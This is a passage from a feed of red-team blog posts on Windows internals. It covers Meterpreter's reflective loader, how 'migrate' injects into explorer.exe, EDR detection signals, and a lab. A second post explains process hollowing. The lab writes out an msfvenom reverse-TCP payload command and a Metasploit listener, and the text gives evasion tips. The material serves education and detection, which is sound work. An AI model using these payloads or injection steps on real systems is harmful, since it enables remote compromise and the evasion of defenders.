&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every IAT slot filled. Every imported function now has a real address.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6 — Call DllMain
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;DLLMAIN&lt;/span&gt; &lt;span class="n"&gt;entry_point&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DLLMAIN&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;optional_header&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AddressOfEntryPoint&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;entry_point&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HINSTANCE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;new_base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DllMain fires. Meterpreter initialises. It reads its configuration (C2 IP, port, encryption key — baked in at payload generation time), establishes an encrypted connection back to your listener, and waits for commands.&lt;/p&gt;

&lt;p&gt;You have a session.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Complete Picture
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────────┐
│                    REFLECTIVE LOADER SEQUENCE                   │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Shellcode executes in target process                           │
│      ↓                                                          │
│  Allocates RWX memory region                                    │
│      ↓                                                          │
│  Downloads Meterpreter DLL bytes over network                   │
│      ↓                                                          │
│  Writes DLL bytes into allocated region (raw, unloaded)         │
│      ↓                                                          │
│  Jumps to ReflectiveLoader export inside those bytes            │
│      ↓                                                          │
│  ┌───────────────────────────────────────────────┐              │
│  │          ReflectiveLoader runs:               │              │
│  │                                               │              │
│  │  [0] call/pop → finds own base address        │              │
│  │  [0.5] PEB walk → finds kernel32 → resolves   │              │
│  │        VirtualAlloc, LoadLibraryA,            │              │
│  │        GetProcAddress                         │              │
│  │  [1] VirtualAlloc(SizeOfImage) → new_base     │              │
│  │  [2] Copy PE headers to new_base              │              │
│  │  [3] Copy all sections to new_base            │              │
│  │  [4] Apply base relocations                   │              │
│  │  [5] Resolve IAT (LoadLibraryA+GetProcAddress)│              │
│  │  [6] Call DllMain(DLL_PROCESS_ATTACH)         │              │
│  └───────────────────────────────────────────────┘              │
│      ↓                                                          │
│  Meterpreter initialises → C2 channel established               │
│      ↓                                                          │
│  meterpreter &amp;gt;  ← you're in                                     │
│                                                                 │
│  What NEVER happened:                                           │
│  ✗ No file written to disk                                      │
│  ✗ No NtOpenFile call                                           │
│  ✗ No LdrLoadDll call                                           │
│  ✗ No entry in PEB InMemoryOrderModuleList                      │
│  ✗ OS loader has no idea this DLL exists                        │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Chapter 6: How &lt;code&gt;migrate&lt;/code&gt; Works — Moving Into a Better Neighbourhood
&lt;/h2&gt;

&lt;p&gt;You've got your Meterpreter session running inside &lt;code&gt;meter.exe&lt;/code&gt;. That's your process — the one the target launched when they ran your payload. Problem is, &lt;code&gt;meter.exe&lt;/code&gt; is suspicious. The user might close it. It might get flagged. You want to move into something more permanent and trustworthy.&lt;/p&gt;

&lt;p&gt;That's what &lt;code&gt;migrate&lt;/code&gt; does.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; migrate -N explorer.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Under the hood:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────┐
│                   migrate sequence                       │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  1. OpenProcess(explorer.exe PID, PROCESS_ALL_ACCESS)    │
│     → get a handle to explorer.exe                       │
│                                                          │
│  2. VirtualAllocEx(explorer_handle, SizeOfImage,         │
│                    MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
│     → allocate memory INSIDE explorer.exe's address space│
│                                                          │
│  3. WriteProcessMemory(explorer_handle, allocation,      │
│                        meterpreter_dll_bytes, size)      │
│     → write our DLL bytes into explorer's memory         │
│                                                          │
│  4. CreateRemoteThread(explorer_handle, ReflectiveLoader)│
│     → create a thread in explorer that runs our loader   │
│                                                          │
│  5. ReflectiveLoader runs INSIDE explorer.exe            │
│     → same 7 steps as before                             │
│     → Meterpreter re-initialises inside explorer         │
│                                                          │
│  6. Old session (in meter.exe) closes                    │
│     New session (in explorer.exe) opens                  │
│                                                          │
└──────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you read the Process Hollowing blog — every single API in steps 1-4 is familiar. &lt;code&gt;OpenProcess&lt;/code&gt;, &lt;code&gt;VirtualAllocEx&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt;, &lt;code&gt;CreateRemoteThread&lt;/code&gt;. Same primitives, different goal. Hollowing &lt;em&gt;replaces&lt;/em&gt; a process's code. Migration &lt;em&gt;adds&lt;/em&gt; Meterpreter to a running process alongside its existing code.&lt;/p&gt;

&lt;p&gt;After migration, Meterpreter lives inside &lt;code&gt;explorer.exe&lt;/code&gt;. Explorer is long-lived. It has network access in many configurations. It looks completely normal doing... explorer things. Nobody questions explorer making network connections the way they'd question &lt;code&gt;meter.exe&lt;/code&gt; doing it.&lt;/p&gt;

&lt;p&gt;This is why &lt;code&gt;migrate&lt;/code&gt; to &lt;code&gt;explorer.exe&lt;/code&gt; or &lt;code&gt;svchost.exe&lt;/code&gt; is standard post-exploitation hygiene.&lt;/p&gt;

&lt;h2&gt;
  
  
  Chapter 7: Detection — You're Stealthy, Not Invisible
&lt;/h2&gt;

&lt;p&gt;Here's the hard truth: reflective injection is hard to detect with traditional tools. It's not hard to detect with the right tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  Signal 1 — MEM_PRIVATE Executable Memory With No Backing File
&lt;/h3&gt;

&lt;p&gt;This is the biggest one. Understand the difference between two types of memory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MEM_IMAGE  → memory mapped from a file on disk
             → has a file path in the VAD (Virtual Address Descriptor) tree
             → what ALL legitimate DLLs look like
             → Process Hacker shows a file path next to it

MEM_PRIVATE → memory allocated with VirtualAlloc
             → no backing file, no file path
             → what Meterpreter's DLL region looks like
             → Process Hacker shows a BLANK "File" column
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In &lt;strong&gt;Process Hacker&lt;/strong&gt;: open the target process → &lt;strong&gt;Memory tab&lt;/strong&gt; → sort by Protection → look for executable (&lt;code&gt;EXECUTE_READ&lt;/code&gt; or &lt;code&gt;EXECUTE_READWRITE&lt;/code&gt;) regions with blank file paths.&lt;/p&gt;

&lt;p&gt;That blank entry in &lt;code&gt;notepad.exe&lt;/code&gt; is your Meterpreter.&lt;/p&gt;

&lt;p&gt;EDRs continuously scan for exactly this pattern. It is the single strongest signal of reflective injection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Signal 2 — The PEB Gap
&lt;/h3&gt;

&lt;p&gt;Reflective loader never calls &lt;code&gt;LdrLoadDll&lt;/code&gt;. So Meterpreter's DLL is never registered in &lt;code&gt;InMemoryOrderModuleList&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Process Hacker Modules tab  →  reads the PEB module list  →  Meterpreter NOT here
Process Hacker Memory tab   →  reads the VAD tree          →  Meterpreter IS here (as MEM_PRIVATE)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The gap between those two lists is the exact footprint of reflective injection. Advanced EDRs cross-reference them continuously.&lt;/p&gt;

&lt;h3&gt;
  
  
  Signal 3 — PAGE_EXECUTE_READWRITE (The Big Red Flag)
&lt;/h3&gt;

&lt;p&gt;The reflective loader allocates memory as &lt;code&gt;RWX&lt;/code&gt; — readable, writable, AND executable. In the same region.&lt;/p&gt;

&lt;p&gt;Legitimate Windows behaviour almost never does this. Your &lt;code&gt;.text&lt;/code&gt; section is &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; — you can execute it but not write to it (that's a security feature). The only legitimate exceptions are JIT compilers in browsers and the .NET CLR.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;RWX&lt;/code&gt; region in &lt;code&gt;notepad.exe&lt;/code&gt;? That's Meterpreter.&lt;/p&gt;

&lt;p&gt;Better implementations do change to &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; after loading. But the allocation event still fires — and EDRs watch allocation permission patterns.&lt;/p&gt;

&lt;h3&gt;
  
  
  Signal 4 — The migrate Event Sequence
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;migrate&lt;/code&gt; generates a very specific sequence of telemetry events in tight time correlation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Timeline of events during migrate:
─────────────────────────────────────────────────
T+0.000s  Sysmon Event 10: meter.exe opens explorer.exe
          (with PROCESS_VM_WRITE | PROCESS_VM_OPERATION access)

T+0.001s  Sysmon Event 8: CreateRemoteThread in explorer.exe
          (thread start address = inside a MEM_PRIVATE region)
─────────────────────────────────────────────────

A process writing to another process and immediately
creating a thread in it = textbook injection signature.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single SIEM rule correlating Events 10 and 8 within a 5-second window catches migrate almost every time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab — See It Yourself
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What you need:&lt;/strong&gt; Kali with Metasploit, Windows lab VM, Process Hacker, WinDbg, CFF Explorer&lt;/p&gt;

&lt;h3&gt;
  
  
  Lab 1 — Find Meterpreter Living in Memory
&lt;/h3&gt;

&lt;p&gt;Generate a stageless payload on Kali:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/x64/meterpreter_reverse_tcp &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;your_kali_ip&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; meter.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST &amp;lt;your_kali_ip&amp;gt;
set LPORT 4444
run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run &lt;code&gt;meter.exe&lt;/code&gt; on your Windows VM. Get the session. Then on the Windows VM:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open &lt;strong&gt;Process Hacker&lt;/strong&gt; → find &lt;code&gt;meter.exe&lt;/code&gt; → right-click → Properties → &lt;strong&gt;Memory tab&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Sort by the &lt;strong&gt;Protection&lt;/strong&gt; column&lt;/li&gt;
&lt;li&gt;Look for a region marked &lt;code&gt;RWX&lt;/code&gt; or &lt;code&gt;RX&lt;/code&gt; with &lt;strong&gt;nothing&lt;/strong&gt; in the File column&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questions to answer yourself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What type is that region — &lt;code&gt;MEM_PRIVATE&lt;/code&gt; or &lt;code&gt;MEM_IMAGE&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Does it show up in the &lt;strong&gt;Modules tab&lt;/strong&gt;?&lt;/li&gt;
&lt;li&gt;What is its base address?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Lab 2 — The PEB Gap (WinDbg)
&lt;/h3&gt;

&lt;p&gt;Attach WinDbg to the &lt;code&gt;meter.exe&lt;/code&gt; process. Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!peb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read the loaded module list it prints. Scan for Meterpreter. It won't be there.&lt;/p&gt;

&lt;p&gt;Now run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!address -f:MEM_PRIVATE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Find executable private memory regions. You'll see the Meterpreter allocation. In memory, fully functional, completely invisible to the PEB.&lt;/p&gt;

&lt;p&gt;The gap between those two outputs = the footprint of reflective injection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lab 3 — See Relocations in CFF Explorer
&lt;/h3&gt;

&lt;p&gt;Open &lt;code&gt;C:\Windows\System32\version.dll&lt;/code&gt; in &lt;strong&gt;CFF Explorer&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Optional Header&lt;/strong&gt; → find &lt;code&gt;Image Base&lt;/code&gt; — write it down&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Section Headers&lt;/strong&gt; → find &lt;code&gt;.reloc&lt;/code&gt; section — see how large it is&lt;/li&gt;
&lt;li&gt;Now open &lt;strong&gt;Process Hacker&lt;/strong&gt; → Modules tab → find &lt;code&gt;version.dll&lt;/code&gt; → look at its actual load address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Calculate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;delta = actual_load_address - ImageBase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This delta is what the OS loader computed and added to every relocation entry when loading this DLL. The reflective loader computes this exact same number for Meterpreter's DLL at runtime.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bigger Picture
&lt;/h2&gt;

&lt;p&gt;Let's zoom out.&lt;/p&gt;

&lt;p&gt;The reflective loader isn't magic. It isn't some mystical bypass that exploits a Windows vulnerability. It's just a reimplementation of five things &lt;code&gt;ntdll.dll&lt;/code&gt; already does — written in position-independent code, embedded inside the DLL itself.&lt;/p&gt;

&lt;p&gt;Find yourself. Find kernel32. Allocate memory. Copy sections. Patch relocations. Resolve imports. Call DllMain.&lt;/p&gt;

&lt;p&gt;Every step maps directly to something Windows normally does with a file. The reflective loader does the same steps without the file.&lt;/p&gt;

&lt;p&gt;That's the insight worth taking from this entire blog:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Meterpreter doesn't bypass the loading process. It replaces it.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And once you understand what that loading process actually is — what &lt;code&gt;LoadLibrary&lt;/code&gt; does under the hood, why relocations exist, how the IAT works — the reflective loader becomes completely readable. There's no mystery left. Just Windows internals applied very cleverly.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This blog is part of an ongoing Windows internals series. Every post builds on the previous one — start from Blog 1 for the full foundation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>redteam</category>
      <category>penetrationtesting</category>
      <category>windowsinternals</category>
    </item>
    <item>
      <title>Process Hollowing from First Principles — No Tools, Just Windows API</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Fri, 03 Jul 2026 04:25:44 +0000</pubDate>
      <link>https://dev.to/redforge/process-hollowing-from-first-principles-no-tools-just-windows-api-1l3c</link>
      <guid>https://dev.to/redforge/process-hollowing-from-first-principles-no-tools-just-windows-api-1l3c</guid>
      <description>&lt;p&gt;&lt;em&gt;How attackers gut a legitimate process before it runs a single instruction — and what that leaves behind&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If you describe process hollowing as "injecting code into a legitimate process," you've already misunderstood it. That framing is wrong in a way that matters operationally.&lt;/p&gt;

&lt;p&gt;You're not injecting into a running process. You're creating a new process in a suspended state, destroying the file-backed mapping of its legitimate image before any user-mode instruction has executed, replacing that memory with your payload, and then releasing the thread. The OS never learned that anything changed. The process name, PID ancestry, and integrity token all belong to the legitimate binary. The code executing is entirely yours.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows does not enforce consistency between identity, memory, and execution — and hollowing lives entirely in that gap.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the philosophical core of the technique, and it's exactly why it has persisted as an offensive primitive for over a decade despite widespread defender awareness.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites: What You Need to Internalize First
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The PEB and ImageBaseAddress
&lt;/h3&gt;

&lt;p&gt;Every Windows process carries a &lt;strong&gt;Process Environment Block (PEB)&lt;/strong&gt; — a user-mode structure maintained by &lt;code&gt;ntdll&lt;/code&gt; that tracks the image base, loaded module list, loader state, and process parameters. On x64, &lt;code&gt;ImageBaseAddress&lt;/code&gt; lives at offset &lt;code&gt;0x10&lt;/code&gt; into the PEB.&lt;/p&gt;

&lt;p&gt;This is what the attacker reads to locate the legitimate image in the target's address space, and what they patch after writing the payload to maintain surface-level consistency.&lt;/p&gt;

&lt;p&gt;The PEB's &lt;code&gt;Ldr&lt;/code&gt; field — a pointer to &lt;code&gt;PEB_LDR_DATA&lt;/code&gt; — is equally important and frequently overlooked. It contains three doubly-linked lists (&lt;code&gt;InLoadOrderModuleList&lt;/code&gt;, &lt;code&gt;InMemoryOrderModuleList&lt;/code&gt;, &lt;code&gt;InInitializationOrderModuleList&lt;/code&gt;) that track every loaded module.&lt;/p&gt;

&lt;p&gt;At the point where hollowing executes — immediately after &lt;code&gt;CreateProcess&lt;/code&gt; returns — &lt;code&gt;Ldr&lt;/code&gt; is initialized but &lt;strong&gt;the loader lists are not yet populated with the main image's &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt;&lt;/strong&gt;. The loader hasn't run. The PEB already reflects an inconsistent state before the attacker touches anything: &lt;code&gt;ImageBaseAddress&lt;/code&gt; points to the mapped image, but no corresponding loader list entry exists for it.&lt;/p&gt;

&lt;p&gt;After hollowing, this compounds further. The image at &lt;code&gt;ImageBaseAddress&lt;/code&gt; no longer exists. A tool that walks the loader lists and resolves &lt;code&gt;ImageBaseAddress&lt;/code&gt; finds anonymous private memory with no file backing.&lt;/p&gt;

&lt;h3&gt;
  
  
  The VAD Tree: MEM_IMAGE vs MEM_PRIVATE
&lt;/h3&gt;

&lt;p&gt;The kernel manages each process's virtual address space through the &lt;strong&gt;Virtual Address Descriptor (VAD) tree&lt;/strong&gt; — a red-black tree in &lt;code&gt;EPROCESS&lt;/code&gt; where each node describes a virtual memory region. The VAD node's type field is the critical distinction:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;VadImageMap&lt;/code&gt; → &lt;strong&gt;file-backed image mappings&lt;/strong&gt; → &lt;code&gt;MEM_IMAGE&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;VadNone&lt;/code&gt; / private committed → &lt;strong&gt;anonymous allocations&lt;/strong&gt; → &lt;code&gt;MEM_PRIVATE&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Legitimate PE loading always produces &lt;code&gt;MEM_IMAGE&lt;/code&gt; regions. The kernel tracks the file reference through a &lt;code&gt;CONTROL_AREA&lt;/code&gt; structure linked to the VAD node's &lt;code&gt;Subsection&lt;/code&gt; — this is what allows &lt;code&gt;GetMappedFileName&lt;/code&gt; to return a file path and what allows scanners to compare the in-memory image against the on-disk version.&lt;/p&gt;

&lt;p&gt;When you call &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; and then &lt;code&gt;VirtualAllocEx&lt;/code&gt;, you destroy that file-backed region and replace it with anonymous private memory. The VAD tree shows a committed private region at the executable's former base — no file path, no &lt;code&gt;CONTROL_AREA&lt;/code&gt;, no disk backing. &lt;strong&gt;This is the primary forensic artifact hollowing leaves behind, and it's structural.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The PE Structure and the Section Mapping Problem
&lt;/h3&gt;

&lt;p&gt;The PE file on disk is not a direct memory image. Data is packed using file-alignment (typically 512 bytes), referenced by &lt;code&gt;PointerToRawData&lt;/code&gt;. In memory, sections are mapped to their &lt;code&gt;VirtualAddress&lt;/code&gt; relative to the image base, aligned to the allocation granularity (typically 4096 bytes). These are different numbers.&lt;/p&gt;

&lt;p&gt;Writing payload sections at file offsets rather than virtual offsets is the single most common failure mode in beginner hollowing implementations. The result is an immediate access violation at thread resume. Every section must be written at &lt;code&gt;ImageBase + SectionHeader.VirtualAddress&lt;/code&gt;, not &lt;code&gt;ImageBase + SectionHeader.PointerToRawData&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hollowing vs. Classic Process Injection
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Classic Process Injection&lt;/th&gt;
&lt;th&gt;Process Hollowing&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Target state&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Already running process&lt;/td&gt;
&lt;td&gt;Newly created, suspended process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Core operation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Allocate + write + create remote thread&lt;/td&gt;
&lt;td&gt;Unmap image + write payload + modify thread context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Memory type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;MEM_PRIVATE&lt;/code&gt; in a live process&lt;/td&gt;
&lt;td&gt;Replaces &lt;code&gt;MEM_IMAGE&lt;/code&gt; with &lt;code&gt;MEM_PRIVATE&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key APIs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;OpenProcess&lt;/code&gt;, &lt;code&gt;VirtualAllocEx&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt;, &lt;code&gt;CreateRemoteThread&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CreateProcess&lt;/code&gt; (suspended), &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt;, &lt;code&gt;ResumeThread&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EDR surface&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Remote thread creation — high signal&lt;/td&gt;
&lt;td&gt;VAD mutations and memory-type transitions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The Seven Steps: Mechanism and Internals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — CreateProcess with CREATE_SUSPENDED
&lt;/h3&gt;

&lt;p&gt;The attacker calls &lt;code&gt;CreateProcessW&lt;/code&gt; targeting a legitimate, signed system binary — &lt;code&gt;svchost.exe&lt;/code&gt;, &lt;code&gt;RuntimeBroker.exe&lt;/code&gt;, &lt;code&gt;notepad.exe&lt;/code&gt;. The target choice isn't cosmetic. The goal is to inherit the binary's reputation, token, and module load visibility.&lt;/p&gt;

&lt;p&gt;Internally, &lt;code&gt;CreateProcessW&lt;/code&gt; transitions to &lt;code&gt;NtCreateUserProcess&lt;/code&gt;. The kernel executes in precise order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Object creation:&lt;/strong&gt; &lt;code&gt;EPROCESS&lt;/code&gt; and &lt;code&gt;ETHREAD&lt;/code&gt; (main thread) are allocated. Handle table initialized.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Section creation:&lt;/strong&gt; &lt;code&gt;MmCreateSection&lt;/code&gt; is called on the executable file, producing a section object backed by the file. The section references a &lt;code&gt;CONTROL_AREA&lt;/code&gt;, which references the file object.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Address space setup:&lt;/strong&gt; &lt;code&gt;MmMapViewOfSection&lt;/code&gt; maps the image into the new process. The resulting VAD node is &lt;code&gt;VadImageMap&lt;/code&gt;. Any address within this range returns &lt;code&gt;MEM_IMAGE&lt;/code&gt;. The &lt;code&gt;ControlArea&lt;/code&gt; field in the node links back to the original file — this is what makes the image path resolvable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PEB initialization:&lt;/strong&gt; &lt;code&gt;MmCreatePeb&lt;/code&gt; sets &lt;code&gt;ImageBaseAddress&lt;/code&gt;, &lt;code&gt;ProcessParameters&lt;/code&gt;, and the &lt;code&gt;Ldr&lt;/code&gt; pointer. The loader lists are initialized but not populated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thread setup:&lt;/strong&gt; The initial thread's trap frame is prepared. On x64, the thread begins at &lt;code&gt;RtlUserThreadStart&lt;/code&gt; in &lt;code&gt;ntdll&lt;/code&gt; — not at &lt;code&gt;AddressOfEntryPoint&lt;/code&gt;. This distinction matters critically in Step 5.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thread state:&lt;/strong&gt; Suspend count = 1. The thread waits.&lt;/p&gt;

&lt;p&gt;At this point: valid &lt;code&gt;EPROCESS&lt;/code&gt;, valid PEB, legitimate &lt;code&gt;MEM_IMAGE&lt;/code&gt; covering the executable, a thread that has never executed a single instruction in user mode. No TLS callbacks. No &lt;code&gt;DllMain&lt;/code&gt;. No EDR hooks initialized in this process yet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is the cleanest interception window in the Windows process lifecycle.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Reading the PEB to Find ImageBaseAddress
&lt;/h3&gt;

&lt;p&gt;The attacker calls &lt;code&gt;NtQueryInformationProcess&lt;/code&gt; with &lt;code&gt;ProcessBasicInformation&lt;/code&gt;, returning a &lt;code&gt;PROCESS_BASIC_INFORMATION&lt;/code&gt; structure containing &lt;code&gt;PebBaseAddress&lt;/code&gt; — the PEB address in the &lt;em&gt;target's&lt;/em&gt; virtual address space.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ReadProcessMemory&lt;/code&gt; pulls the PEB from the target. At offset &lt;code&gt;0x10&lt;/code&gt; on x64 (confirmed against the &lt;code&gt;_PEB&lt;/code&gt; symbol in the public PDB) lies &lt;code&gt;ImageBaseAddress&lt;/code&gt; — the base of the &lt;code&gt;MEM_IMAGE&lt;/code&gt; region that's about to be destroyed.&lt;/p&gt;

&lt;p&gt;Guessing the base using the PE's preferred &lt;code&gt;ImageBase&lt;/code&gt; is an option only for non-ASLR binaries. For everything else, the PEB read is the only reliable path.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — NtUnmapViewOfSection: The Actual Hollowing
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;NtUnmapViewOfSection(processHandle, ImageBaseAddress)&lt;/code&gt; removes the section mapping for the legitimate executable from the target's address space.&lt;/p&gt;

&lt;p&gt;The kernel walks the target's VAD tree, finds the &lt;code&gt;VadImageMap&lt;/code&gt; node at &lt;code&gt;ImageBaseAddress&lt;/code&gt;, and removes it. The &lt;code&gt;CONTROL_AREA&lt;/code&gt; reference count decrements. Physical pages are dereferenced. The address range becomes &lt;code&gt;MEM_FREE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The forensic transition is precise:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
